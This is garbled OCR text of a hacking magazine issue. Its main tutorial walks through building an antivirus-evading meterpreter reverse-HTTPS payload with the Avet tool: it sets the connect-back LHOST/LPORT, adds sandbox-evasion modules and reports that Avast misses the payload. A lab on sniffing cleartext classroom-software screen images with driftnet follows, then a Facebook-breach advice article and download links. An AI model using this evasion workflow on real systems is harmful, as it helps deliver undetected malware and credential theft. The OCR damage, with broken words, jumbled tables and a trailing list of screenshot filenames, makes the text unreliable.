After Avet is finished installing, we can run avet using the Python command ./avet.py. This wi
Il bring a list of all the payloads avet has as shown below.
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+

—
L] L
| » | |
L]
-
1

] L] MmN

Welcome to the avet Assistant!

build_40xshikata_revhttpsunstaged_win32.sh
build 50xshikata_quiet _revhttps win3Z.sh
build_50xshikata_revhttps_win32.sh
build_asciimsf_fromcmd_revhttps_win32.sh
build_asciimsf_revhttps_win32.sh
build_avetenc_dynamicfromfile_revhttps_win32.sh
build_avetenc_fopen_revhttps_win32.sh
build_avetenc_mtrprtrxor_revhttps_wint4.sh
build_calcfromcmd _50xshikata_revhttps win32.sh
build_calcfrompowersh_50xshikata_revhttps_win32.sh
build checkdomain rcd4 mimikatz.sh
build_cpucores_revhttps_win32.sh
build_disablewindefpsh_xorfromcmd_revhttps_win64.sh
build_dkmc_downloadexecshc_revhttps_win32.sh
build _downloadbitsadmin_mtrprtrxor_revhttps win64.sh
build _downloadbitsadmin_revhttps win32.sh

build downloadcertutil _revhttps win32.sh
build_downloadcurl_mtrprtrxor_revhttps_winb4.sh
build_downloadiexplorer_revhttps_win32.sh
build_downloadpsh_revhttps_win32.sh
build_downloadsocket_mtrprtrxor_revhttps_win64.sh
build_downloadsocket_revhttps _win32.sh
build_dynamicfromfile_revhttps_win32.sh
build_fibonacci_rcd4_mimikatz.sh
build_fopen_mtrprtrxor_revhttps_wint4.sh
build_fopen_quiet_revhttps_win32.sh
build_fopen_revhttps _win32.sh
build_getchar_rc4_mimikatz.sh
build_gethostbyname_revhttps_win32.sh
build_hasvmkey_revhttps_win32.sh
build_hasvmmac_revtcp_win3Z.sh
build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win

OO NJOUMEWNEeO

10

el el
U B W N e

W LWN NN NN AMNNNNN B e
= O 0000 ~-~JOOUMMBEUWNEDOUVUDODOSSSD

.Sh

W o
N &

build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32
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.Sh

33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_geth
ostbyname_win32.sh

34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_geth
ostbyname_winb4.sh

35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttp
s winb4.sh

36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_
win32.sh

37 : build_kaspersky_fopen_shellrevtcp_win32.sh

38 : build_mimikatz_pel2shc_xorfromcmd_winb4.sh

39 : build_pause_rc4_mimikatz.sh

40 : build_rcd4_1interactive_pwsh_mimikatz _winbt4.sh

41 : build_rcd4_1interactive _with_arithmetic_pwsh_mimikatz _win64.sh
42 : build _rcdenc_mimikatz win64.sh

43 : build_sleep_rcd4_mimikatz.sh

44 : build_sleepbyping_rcd4 _mimikatz.sh

45 : build_timedfibonacci_rc4_mimikatz.sh

ou need to select the payload using its number. For example let's select build_40xshikata
revhitpsunstaged win32.sh payload. Shikata Ga Nai is an encoding method used to encode
payloads which is especially used by Metasploit. Despite the advanced technology anti- mal-

are uses to detect and decode the payloads, Shikata Ga Nai encoding is still going strong
In bypassing Anti Malware. Even after so many years, Metasploit payloads are undetectable
provided they are designed specifically. For the specific payload, it is encoded by 40 iteration
s of Shikata Ga Nai encoding method. After selecting the payload, the LHOST AND LPORT
options should be set.

Which Script would you like to configure and build?
Enter the corresponding number -> 0

DESCRIPTION :
# Use unstaged meterpreter payload and apply shikata 40 times.

Configure the Build Script

# override connect-back settings here, 1f necessary
-> LPORT=8081

-> LHOST=192.168.36.1/1

# no command preexec

-> set_command_source no_data

-> set_command_exec no_command

# don't enable debug output because printing the whole unstaged pa

ou can even enable sandbox evasion for your payload. Sandbox evasion is a technique us-
ed by malware to evade the sandbox. Sandbox is a virtual environment used by AntiMalware
O run suspicious code or application. By running the suspicious code in a sandbox the anti-
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malware finds out what the malware can do after execution and prevents any damage to the
physical system.

S0 Malware writers use sandbox evasion techniques that help malware to evade sandbox
or not to run if they detect a sandbox. Various methods used by Malware to evade sandbox
are given below.

# don't enable debug output because printing the whole unstaged pa
yload takes a lot of time

# enable_debug_print

Do you want to add sandbox evasions? [y/N]
_:;.y

Finished Picking, Stop He
computation_fibonacci
computation_timed_fibonacci
evasion_by_sleep
fopen_sandbox_evasion
get_bios_info
get_computer_domain
get_cpu_cores

get_eventlog
get_install_date

LDONOULVEWNEeO

[
O

get_num_processes
get_registry_size
get_standard_browser
get_usb
gethostbyname_sandbox_evasion
has_background_wp
has folder
has_network_drive
has_public_desktop
has_recent_files
has_recycle_bin
has_username
has_vm_mac

NN N B S e e b s e e s
N O VOO SNOYUI S UWN -

N
w

has_vm_regkey
hide_console
interaction_getchar
interaction_msg_box
interaction_system_pause
sleep_by_ping

NNININN
OO &

Select the option 6 method of bypassing sandbox. By checking for the computer domain the
malware can easily check physical system or a virtual environment..
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wWhich module would you like to add?
Enter the corresponding number -> 6
Finished Picking, Stop He
computation_fibonacci
computation_timed_fibonacctl
evasion_by_sleep
fopen_sandbox_evasion
get_bilos_1info

get_cpu_cores

get_eventlog

get_install_date

OO E WNEeS

Avet now creates the payload with the configurations we have set.

Which module would you like to add?
Enter the corresponding number -> 0
-> add_evasion get_computer_domain

Executable will be created Shortly please wait.

Found 1 compatible encoders
Attempting to encode payload

nait

x86/shikata_ga_nal
x86/shikata_ga_nail
x86/shikata_ga_natl
x86/shikata_ga_nal
x86/shikata_ga_nal
x86/shikata_ga_nail
x86/shikata_ga_nail
x86/shikata_ga_nail
x86/shikata_ga_nail

x86/shikata_ga_nal
x86/shikata_ga_nail
x86/shikata_ga_natl
x86/shikata_ga_nail
x86/shikata_ga_nal
Payload size:

succeeded
succeeded
succeeded
succeeded
succeeded
succeeded
succeeded
succeeded
succeeded

succeeded
succeeded
succeeded
succeeded

with

with
with
with
with
with
with
with
with
with

with
with
with
with

40 iterations of x86/shikata_ga_

size
size
size
size
size
size
size
size
size

size
size
size
size

654978
655008
655038
655068
655098
655128
0655158
655188
©55218

656058
656088
656118
656148

(1teration=0)
(1teration=1)
(1iteration=2)
(iteration=3)
(iteration=4)
(iteration=5)
(1teration=6)
(iteration=7)
(1teration=8)

(1teration=36)
(iteration=37)
(1teration=38)
(1teration=39)

chosen with final size 656148

656148 bvytes
Final si1ze of ¢ file:

2755848 bytes

..
. 3
/AHA

MEEP MEEP
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# Execute the following command:
# $ 40xshikata_revhttpsunstaged win32.exe

~/avet

avet.py CHANGELOG
banner.txt Dockerfile pelsl -
README . md
build script tester.py LICENSE setup.sh

~/avet
output

~/avet/output
40xshikata revhttpsunstaged win32.exe dummy.txt

Now let's copy the payload to the target system with a third party Anti Malware installed ( the
Omega Target).

_‘ Avast Free Antrvirus

This computer is

RUN SMART SCAN

As you can see, antimalware failed to detect our payload.
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SNIFFING ON LIVE IMAGES PASSING THROUGH THE NETWORK

THE ART OF SNIFFING )

Recently McAfee found critical vulnerabilities in the Netop Vision Pro software \’
which is a classroom management software used by teachers and schools for distanc
-ed learning. The vulnerabilities detected include remote code execution and also clea
-r text transmission of sensitive data. After McAfee reported these vulnerabilities, the
developers released a patched version. However, even the latest version is vulnerable
to CVE- 2021-27194 vulnerability, which refers to cleartext transmission of sensitive
information over the network. /

In our previous Issue, we have seen in the section of Art Of Sniffing as to how plain text cred-
ntials passing through the network can easily be sniffed by attackers using Wireshark. In thi-
month's Issue, readers will learn about a different type of sniffing. i.e capturing LIVE images
eing transmitted through the network. As good as Wireshark is, it cannot be used to capture
ive images being sent through the network.

For this hacking scenario, we will use Netop Vision Pro classroom managenent software.
Netop Vision Pro is a classroom management software used for distanced learning. It has tw-
p modules : the teacher module and student module. The Teacher module is installed on on-
e system and the student module is installed on student systems. The computer running the
Teacher module has complete control over the computer running the student module and the
student has no or very small limited role. The download information for the vulnerable softwar
-e IS given in our Downloads section.

Remember the sniffing lab we created in one of our previous Issues. In the same Sniffing
ab, we will add three systems : two Windows 7 systems with Netop Vision Student Module
nstalled on one system and Netop Vision Teacher Module installed on another Windows 7
system. The third system is Kali Linux which is used for sniffing.

Let's setup the Lab first. Download the Netop Vision Pro software onto the first Windows

system and click on it. Select the "Run Installer" and click on “Next”.

-—

o ol A e

 Eur rwtsber
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lick on "l Accept The Terms in the license agreement” and click on “Next".

: o
ﬂ Install Netop Vision ~

License Agreement NETOP”
Read the Netop Software License Agreement, Vis iorl'

To continue you must accept the terms of the agreement. If you do not want to accept the Netop
Software License Agreement,dose this window to cancel the installation.

NETOP BUSINESS SOLUTIONS A/S END-USER LICENSE

AGREEMENT
Last Updated: October 2018

™ ?‘ -'__-"-I !"'il / * i _.""'.I .'_‘I
L - | ! -

This Agreement provides you with the night to install, load, host
and use “the Software” as described herein

-

¥ Install Netop Vision

Setup Type NE TOP*
Select which module to install, Vision

Vision Teacher module
Install Vision to a teacher computer,

@ Vision Student module
Install Vision to a student computer,
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lick on "I Accept The Terms in the license agreement” and click on “Next".

ﬂ Install Netop Vision

License Agreement NETOP®

To continue you must accept the terms of the agreement. If you do not want to accept the Netop
Software License Agreement,dose this window to cancel the installation.

NETOP BUSINESS SOLUTIONS A/S END-USER LICENSE
AGREEMENT
Last Updated: October 2018

ntroduction

1 I |
o’ e LA W LN

This Agreement provides you with the nght to install, load, host
and use “the Software” as descrnbed herein

4
o~

% Install Netop Vision

m Tm Nt FEP'.
Select which module to install, Vision

Vision Teacher module
Install Vision to a teacher computer,

@ Vision Student module
Install Vision to a student computer,
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elect the option as a Windows Startup Service and click on Install.

£ Install Netop Vision

Change nstall options NETOP"
Click Install to install to this folder, or dick Change to instal to a different folder. \/isiOIT

,,/ Instal path: C:\Program Files (x86) WNetop\Vision\ [ Change...

Student can attend open enroliment dasses
Startup Type

@ Start Vision before Windows starts. The student cannot exit Vision,

Start Vision when Windows starts. The student can exit Vision.

Allow student to start and exit Vision.

InstalShield

1% Install Netop Vision

NE TOP*

Vision

_— Netop Vision student module has now been installed.

v Restart computer

Vision will work without restarting the computer but
we recommend that you restart to complete updates
to essential components.

W
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B Admunistrator: C:\Windows\system32\cmd .exe

Ethernet adapter Local Area Connection:
Connection—-specific DNS Suffix
Link—=local [IPub Address

IPv4 Address. .

subnet Mask . .

Default Gateway

unnel adapter isatap.localdomain:

Mdla SCtate . ¢ & ¢ ¢ 2 ¢ & o = o
Connection—specific DNS Suffix - &

unnel adapter

UL SCACO . ¢ o ¢ ¢ ¢« ¢ o« & o o &
Connection—specific DNS Suffix . =
isatap.{A6DA4EAB-ESEE

unnel adapter

Hﬂdiﬂ Etdtﬁ L] L - - - L - - - - -
Connection—-specific DNS Suffix .

:\Userssadmin?

¥ Install Netop Vision

Setup Type
Select whach module to install,

@ Vision Teachar module

instal Vision to a teacher computer,

Vision Student module

Install Vision to a student computer.

hen it prompts for the license key, click on

Media

localdomain
feS8A::21a7:3084:d486:157F#211
192.168.36.165

F - - PY 4 Y T Y

192.168.36 .2

Media disconnected
localdomain

isatap.{B1DBZ3A7-BC13-4DAB-7A70-81ESARB3DESE? ¢

Media disconnected

4730-8D5A-4DBBBAS 140699 -

disconnected

Now, in the second Windows 7 system, install the Teacher module of Netop Vision.

I-—n R

Vision

“Next".
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fjJ Install Netop Vision “""‘"’"""f'

License

Enter a license key or start trial VI SiO n

Type your icense key or leave blank to use a trial version of Netop Vision Pro.

License key:

To convert from a trial to a full version later, you can enter your license key using the
Licensing Utility which is available from the Start menu,

f_}l Install Netop Vision

Change install options
Click Install to install to this folder, or dick Change to install to a different folder.  \/|S|O0IT

Install path: C:\Program Files (x86) Netop\Vision\

Require a password to start Vision
Enter password:

Repeat password:
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L':}‘ Install Netop Vision

Vision
Classroom Management Seftware _
Netop Vision teacher module has nov

J Restart computer

/ision will work without restarting the computer but
we recommend that you restart to complete upcates
to essential components,

IAfter the computer reboots, open the Netop Vision application. This should open the class
room manager window automatically. If that did not happen, open it from the File menu. Crea
-te a new classroom. Click on “New",

-
Al s

- s —_— = d " " - “ A o B o B o P——
L - - o L] -
" | ! J »
1
v ,
| L r 1Al X ] ' | ] r T
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L W . 5
Aanage 85 3OO
Mo
- m———
11 Cipen
-
[ Lavwr owim Rename
Eot Classr oo
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ICIick on “Next”.

Create Classroom

General Information
Enter information about Classroom.

Classroom name and optional comments

Name: New Classroom
Comments:

Open Enroliment Classroom status

| Open Enroliment Classroom - students choose which class to join
Classroom specialization

| Make this Classroom my Default Classroom
v Make this Classroom Global

dd the student system. Click on “Add” and add the |IP address of the student system as sho

ame of the computer. Click on OK.

Ewn below. Then click on “translate addresses”. You will get the IP address translated to the

Create Classroom

(Qassroom Computers
Add student computers to your Vision classroom.
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Create Classroom

Classroom Computers
Add student computers to your Vision classroom.

Enter computer names

Enter names of the computers to add to the Classroom list:

192.168.36. 165

Note: you can separate names with a space, comma, semicolon or vertical bar.

Chck "Translate Addresses” to translate IP adresses or .
name ranges into computer names, if needed. { Transiate Addresses

o J[ conce

Create Classroom

Classroom Computers
Add student computers to your Vision classroom.

Enter computer names

Enter names of the computers to add to the Classroom list:

WIN-BISUKS5VF6A
S ——

Note: you can separate names with a space, comma, semicolon or vertical bar.

Click "Translate Addresses” to translate [P adresses or
name ranges into computer names, if needed. Translate Addresses

lick on “Next”.
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Create Classroom

Classroom Computers
Add student computers to your Vision classroom.
Fiter:

Domain/Workgroup: [' --]

Network computers: Classroom computers:

*Js {8 WIN-BI3UKS5VF6A
>
»
<
«

| Open Network | | Add.. |
| <Back | Net> | | Cancel |

ICIick on “Finish” to finish the installation.

NETOP"

Vision
Classroom Management Software

Wizard has gathered all required
information to create Classroom

Use "Properties” from the context menu of the Classroom to
modify Classroom settings (list of Users, Open Enroliment
password, etc ) later.
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From the classroom manager, open the new classroom you just created.

F ™
Manage Vision Classrooms &j
Global Classrooms x New... |
‘aaa | T
+H :
Classroom New Rename
Delete
Edit Classroom

Install / Remove...

—

We can see the Desktops of connected Student computers. Since we have connected only o
-ne student computer, only it is shown.

New Classroom - Netop Vision Trnal

63 | Hackercool Magazine | Mar 2021



On the Kali Linux system, install the Driftnet tool as shown below.

i~

install driftnet

|sudo | password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:

Libev4 libjs-lightbox2 libwebsockets16
The following NEW packages will be installed:

driftnet libev4 libjs-lightbox2 libwebsocketsl16
@ upgraded, 4 newly installed, 0 to remove and 343 not upgraded.
Need to get 316 kB of archives.
After this operation, 817 kB of additional disk space will be used

Do you want to continue? [Y/n] B

Check the name of the network interface,

a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOW
N group default qlen 1000
Link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
itnet 127.0.0.1/8 scope host lo
valid_Lft forever preferred_Lft forever
inet6 /128 scope host
valid_1ft forever preferred_Lft forever
2: ethO: <BROADCAST , MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fa
SU State UNKNOWN group default gqlen 1000
Link/ether 00:0c:29:d3:e3:8d brd ff:ff.ff.ff.ff.ff
inet 192.168.36.171/24 brd 192.168.36.255 scope global dynamic
noprefixroute etho®
valid_1ft 1241sec preferred_1ft 1241sec
inet6 /64 scope Link noprefixroute
valid_Lft forever preferred_Lft forever

Now all we have to do is to start the driftnet tool on that interface.

L

etho®
[ sudo | password for kalti:

A small window will open as shown below.
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1 v
Sun Apr 25 te: You don't have pe
rmission ftc

[ sudo] pass

]

hen you maximize the window, you can see the live capture of the images. These images
of the student computer are being captured by the teacher module. This feature is available
In Netop Vision classroom management software the monitor student computers. These ima-
ges are captured at regular short intervals and transmitted in real time to the Teacher comput

Since these images are being transmitted without any encryption, driftnet has been able to
apture them by sniffing on the network.
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' " ' ‘
Facebook Data Breach : What Happened and Why It's Hard To Know If Your Data
Was Leaked

ONLINE SECURITY

-ate the process of harvesting data.

Paul Haskell - Dowland This may sound familiar. In 2018 Facebook
Associate Dean (Computing and Security) was reeling from the Cambridge Analytica sca

Edith Cowan University -ndal. This too was not a hacking incident, but
a misuse of a perfectly legitimate function of
the Facebook platform.

While the data were initially obtained
, ' , _ . legitimately — as least, as far as Facebook's
And while this figure is staggering, there’s rules were concerned — it was then passed

more to the story than 533 million sets of data ; : .
on to a third party without the appropriate con-
. This breach once again highlights how many sont from uszrsrty PPIOP

of the systems we use aren't designed to ade-
quately protect our information from cyber cri-
minals.

Nor is it always straightforward to figure out .o oos 1 easy way to determine if your deta
hether your data have been compromised in ; ¢ \wore breached in the recent leak. If the we

a breach or not. -bsite concerned is acting in your best interest

Wh,a'f happened? , you should at least receive a notification. But
More than 500 million),

T A, While this figure is staggering, there'sthis isn't guaranteed.

: : 11 Even a tech-savvy
details were publi- more to the story than 533 million sets of '__" "0 1

shed online onan  data. This breach once again highlights _eq to hunting for
underground webs by many of the systems we use aren't the leaked data th-

i:ms:,i b designed to adequately protect our emselves on undergro
' -und websites.The data

It quickly became information from cyber criminals "being Sl e et
lear this was not a new data breach, but an o plenty of key information. According to the we
\der one which .h.ad come back to haunt Face , ;. ihaveibeenpwned.com, most of the reco

book and the millions of users whose data are -rds include names and genders, with many

ow ?‘?llzbltea tg purﬁhas: ?""”:'t o also including dates of birth, location, relations

| ulnerability which Fat,tebook reportedly fixed Although, it has been reported only a small
n August of 2019. While the exact source of .\, ion of the stolen data contained a valid
he data can't be verified, it was likely acquire- o) 5ggress (about 2.5 million records).

d through the misuse of legitimate functions in This is important since a user's data are

heSFazebf)ok systems, . il less valuable without the corresponding email
uch misuses can occur when a seemingly 44qress. It's the combination of date of birth,

innocent fe;jature of a ;vebsite is used for ::mh name, phone number and email which provid-
nexpected purpose by atiackers, as was the o, o eefy] starting point for identity theft and

ase with a PaylD attack in 2019. exploitation.

. Fln tr:" c:s ® OV Facebfook, criminals caln If you're not sure why these details would
ITREN S SORUGON & BYSIOINS K UREES DRIRONK. 1 valushis 103 criminal, think about how you

information by using techniques which autom-
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Over the long weekend reports emerged of an
alleged data breach, impacting half a billion
Facebook users from 106 countries.

Were You Targeted?




onfirm your identity over the phone with your “TNg'y INnocent photos can reveal sensitive

bank, or how you last reset a password on a Information.
ebsite. 3) Avoid using Facebook to sign in to othe

Haveibeenpwned.com creator and web -f websites
security expert Troy Hunt has said a secondar Although the “sign-in with Facebook™ feature
y use for the data could be to enhance phishi IS potentially time-saving (and reduces the nu

ng and SMS-based spam attacks. -mber of accounts you have to maintain), it
also increases potential risk to you — especia
How To Protect Yourself -lly if the site you're signing into isn't a trusted

one. If your Facebook account is compromise
iven the nature of the leak, there is very little -d. the attacker will have automatic access to

Facebook users could have done proactively all the linked websites.
o protect themselves from this breach. As the 4) Use unique passwords |
attack targeted Facebook's systems, the resp Always use a different password for each onli-

onsibility for securing  "On an individual level, while you ne account, even if it

he data lies entirelycan opt o withdraw from the platformdiz :Szig;d'”;fr']"agger
ith Facebook. e e . .
5 2 Iniltcian for many this isn’t a simple option. help with this

evel, while you can 1 hat said, there are certain changes (and this is how |

opt to withdraw from  you can make to your social media have more than 400

he platform, for many . : dlﬁergnt.passwords)
i Optgrgqcawours to help reduce your risk \whiie it won't etop

at said. there are certain from data breaches. your data from ever being stole

hanges you can make to your social media N if your password for a site is leaked it will
hehaviours to help reduce your risk from data only work for that one site.

breaches. If you really want a scare, you can always
1) Ask yourself if you need to share all you download a copy of all the data Facebook has
.r information with Facebook on you. This is useful if you're considering

here are some bits of information we inevita- /€aving the platform and want a copy of your
bly have to forfeit in exchange for using Face- data before closing your account.

book, including mobile numbers for new acco- :

unts (as a security measure, ironically). But th ArtICIe

ere are plenty of details you can withhold to FirSt
retain a modicum of control over your data.

2) Think about what you share Ap pea red
Apart from the leak being reported, there are

plenty of other ways to harvest user data from on

Facebook. If you use a fake birth date on your

account, you should also avoid posting birthd- theconve s ation L20M

ay party photos on the real day. Even our see

Follow Us
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DOWNLOADS

1. Microsoft Exchange Server CVE-2020-0688 Vulnerability Scanner :
https://github.com/onSec-fr/ICVE-2020-0688-Scanner

2. Microsoft Exchange On-premises Mitigation Tool :
https://github.com/microsoft/CSS-Exchange/tree/main/Security

3. Microsoft Safety Scanner
https://docs.microsoft.com/en-us/windows/security/threat-
protection/intelligence/safety-scanner-download

4. Rejetto HTTP File Server (HFS) 2.3.x
https://www.exploit-db.com/exploits/39161

5. Parrot Security OS 4.11.1
https://www.parrotsec.org/download/

6. Aerospike 5.0.0.10
https://www.aerospike.com/artifacts/aerospike-server-community/

7. Avet - AntiVirus Evasion Tool
https://github.com/govolution/avet

8. Netop Vision Pro
https://www.netop.com/vision/downloads/

9. Driftnet
https://github.com/deiv/driftnet

USEFUL RESOURCES

A
Check whether your email is a part of any data breach now.

https://haveibeenpwned.com

| Hackercool Magazine | Mar 2021



Hackercool Hackercool Hackercool

CA pmﬁg ma (ARTURE Capture

The Flag :
'I'HE FIJ;G “
MAT q £ | RootThis : 1

DC 6 Whal pou marn ! Fappwrord orpciong of a pp Nbe, What

tu du when g Melsapio] muduie lads and using sousl to
el From @ e kel

TASPLOITABLE TUTDRIALS
ot sapiatabie 1 The e OATA BREACH THIS MONTH

METASPLONT THIS MONTH *TISF.'{[IT e Fxm
Ak W RCE LiweNMS A METASPLDIT THIS MONTH ol suck o logs

i
FORMAT BCE Mok

METASE! WTABLE TUTORIALS METASPLDITABLE TUTORIALS

Hackercool Hackercool ,

CAPTURETHE FLAG
- AIWEB - 2

w! i-lrw-hr-dlﬂrrhﬂ
?ﬁ-—mmm

NOT JUST ANOTHER TDDL

HETlSHIlTlﬂ.I TIITDIIH!
BEGINNER BASICS

METASPLOIT THIS MONTH

METASPLOIT THIS MONTH

K?*SPI.I]HIBJ.E TUTORIALS

Click to get all 2019 Issues NOW )

Hackgrcool Hackercool Hackercool

READ ¢ *USA indicts Capture
Iy 4 - e Flag
Russian hackers” |

i HACKSTORY MAERIX-T

METASPLOIT THIS MONTH
WEB SECURITY ey CAPTURE THE FLAB ST WEB SECURITY e oy ey

METASPLONTABLE TUTORIALS | R it T’rIS HIHTH Hal!:l AR RS B IUIEIRIH.S HACXSTORY

Hackercool : Hackercool

METASPLONT THIS MONTH DATABREACH THISMONTH:
T INSTALLIT ot FXT

METASPLOITABLE TUTDRIALS METASPLOITABLE TUTORIALS

\ Click to get all 2018 Issues NOW ‘/

| Hackercool Magazine | Mar 2021



https://downmagaz.net/tags/Hackercool/

	Скриншот 03-07-2021 132346
	Скриншот 03-07-2021 132353
	Скриншот 03-07-2021 132353_1
	Скриншот 03-07-2021 132400
	Скриншот 03-07-2021 132400_1
	Скриншот 03-07-2021 132406
	Скриншот 03-07-2021 132406_1
	Скриншот 03-07-2021 132413
	Скриншот 03-07-2021 132413_1
	Скриншот 03-07-2021 132420
	Скриншот 03-07-2021 132420_1
	Скриншот 03-07-2021 132426
	Скриншот 03-07-2021 132426_1
	Скриншот 03-07-2021 132433
	Скриншот 03-07-2021 132433_1
	Скриншот 03-07-2021 132439
	Скриншот 03-07-2021 132439_1
	Скриншот 03-07-2021 132446
	Скриншот 03-07-2021 132446_1
	Скриншот 03-07-2021 132453
	Скриншот 03-07-2021 132453_1
	Скриншот 03-07-2021 132459
	Скриншот 03-07-2021 132459_1
	Скриншот 03-07-2021 132506
	Скриншот 03-07-2021 132506_1
	Скриншот 03-07-2021 132513
	Скриншот 03-07-2021 132513_1
	Скриншот 03-07-2021 132519
	Скриншот 03-07-2021 132519_1
	Скриншот 03-07-2021 132526
	Скриншот 03-07-2021 132526_1
	Скриншот 03-07-2021 132532
	Скриншот 03-07-2021 132532_1
	Скриншот 03-07-2021 132539
	Скриншот 03-07-2021 132539_1
	Скриншот 03-07-2021 132546
	Скриншот 03-07-2021 132546_1
	Скриншот 03-07-2021 132552
	Скриншот 03-07-2021 132552_1
	Скриншот 03-07-2021 132559
	Скриншот 03-07-2021 132559_1
	Скриншот 03-07-2021 132606
	Скриншот 03-07-2021 132606_1
	Скриншот 03-07-2021 132612
	Скриншот 03-07-2021 132612_1
	Скриншот 03-07-2021 132619
	Скриншот 03-07-2021 132619_1
	Скриншот 03-07-2021 132625
	Скриншот 03-07-2021 132625_1
	Скриншот 03-07-2021 132632
	Скриншот 03-07-2021 132632_1
	Скриншот 03-07-2021 144314
	Скриншот 03-07-2021 144314_1
	Скриншот 03-07-2021 144321
	Скриншот 03-07-2021 144321_1
	Скриншот 03-07-2021 144328
	Скриншот 03-07-2021 144328_1
	Скриншот 03-07-2021 144334
	Скриншот 03-07-2021 144334_1
	Скриншот 03-07-2021 144341
	Скриншот 03-07-2021 144341_1
	Скриншот 03-07-2021 144347
	Скриншот 03-07-2021 144347_1
	Скриншот 03-07-2021 144354
	Скриншот 03-07-2021 144354_1
	Скриншот 03-07-2021 144401
	Скриншот 03-07-2021 144401_1
	Скриншот 03-07-2021 144407
	Скриншот 03-07-2021 144407_1
	Скриншот 03-07-2021 144414
	Скриншот 03-07-2021 144414_1
	Скриншот 03-07-2021 144421
	Скриншот 03-07-2021 144421_1
	Скриншот 03-07-2021 144427

